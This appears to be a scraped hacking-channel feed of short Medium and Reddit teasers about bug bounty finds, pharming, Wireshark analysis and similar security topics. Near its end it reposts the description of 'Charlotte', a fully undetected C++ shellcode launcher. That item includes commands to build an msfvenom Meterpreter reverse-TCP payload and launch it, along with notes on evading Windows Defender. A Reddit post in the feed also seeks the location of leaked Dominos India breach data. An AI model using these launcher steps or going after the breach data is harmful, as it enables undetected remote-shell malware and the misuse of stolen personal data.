Hacking on Medium
CORS misconfig that worths USD200

This bug was founded in a private program. So, this post would not disclose any information about the target. In order to not giving out…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Pharming Menace and How to Secure Your Devices

https://cdn-images-1.medium.com/max/2600/1*4cUUy5aYpverCf2p9d35jw.jpeg
Uncovering how the scam works and the strategies you can use to protect yourself

Continue reading on CodeX »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Revisiting the Raspberry Pi Zero Password Thief

https://cdn-images-1.medium.com/max/2048/1*AInbzauDnI6A0QI4vozHww.jpeg
Improving the tool, looking deeper into the exploit, and defending against it.

Continue reading on CodeX »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Introduction to Django

https://cdn-images-1.medium.com/max/1280/0*IcGlrUd4-b-LATnM.jpg
Continue reading on Secure You!! »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Analyzing a bot-infected host with Wireshark

https://cdn-images-1.medium.com/max/640/1*6xSEiagCSTOEoGIQrkUvzA.png
In this instructional exercise, we will be using a sample “.pcap” file that was created by the Chappell University…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Detect WiFi jamming attempts with Wireshark

https://cdn-images-1.medium.com/max/800/1*6TtvIBfqo5IUrSncu6g9yA.jpeg
Most DOS assaults are entirely essential and exploit well-recorded imperfections in the manner WPA systems oversee associations. Since the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Where can i find the .onion address for dominos india data breach?

submitted by /u/ZakX10
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Biggest Mistake Bounty hunters are Making Right Now.
https://youcantseeme.medium.com/biggest-mistake-bounty-hunters-are-making-right-now-ff95f9bbc3fa?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty hunter the legends who protect the web app to IoT refrigerator from bad guys to make everyone life at least 1% better than…Continue reading on Medium » (https://youcantseeme.medium.com/biggest-mistake-bounty-hunters-are-making-right-now-ff95f9bbc3fa?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Disclose leads form details of any Facebook Business Account or Facebook Page (Bug Bounty)
https://amineaboud.medium.com/disclose-leads-form-details-of-any-facebook-business-account-or-facebook-page-bug-bounty-7ecae6cff312?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

By chaining two GraphQL IDOR vulnerabilities affecting the Facebook Leads Center a malicious user could have exposed the leads form…Continue reading on Medium » (https://amineaboud.medium.com/disclose-leads-form-details-of-any-facebook-business-account-or-facebook-page-bug-bounty-7ecae6cff312?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Stored XSS and html Injection on Subdomain NUS ( https://nusit.nus.edu.sg/ )
https://baguslindu.medium.com/asslamualaikum-wr-wb-8273abedefe1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Asslamualaikum wr.wbContinue reading on Medium » (https://baguslindu.medium.com/asslamualaikum-wr-wb-8273abedefe1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Stored XSS and html Injection on Subdomain NUS ( https://nusit.nus.edu.sg/ )

Asslamualaikum wr.wbContinue reading on Medium »
Read more...

Charlotte - C++ Fully Undetected Shellcode Launcher

c++ fully undetected shellcode launcher ;) releasing this to celebrate the birth of my newborndescription 13/05/2021: c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021. dynamic invoking of win32 api functions XOR encryption of shellcode and function names randomised XOR keys and variables per run on Kali Linux, simply 'apt-get install mingw-w64*' and thats it! 17/05/2021: random strings length and XOR keys length antiscan.me usage git clone the repository, generate your shellcode file with the naming beacon.bin, and run charlotte.py example: git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64* cd charlotte msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin python charlotte.py profit tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload update v1.1 17/05/21: apparently Microsoft Windows Defender was able to detect the .DLL binary, and how did they flag it? by looking for several XOR keys of 16 byte size changing it to 9 shown in the POC .gif below shows it is now undetected again cheers! Download Charlotte
Read more...

___________________________
@hacking_Attack
@Hacking_Video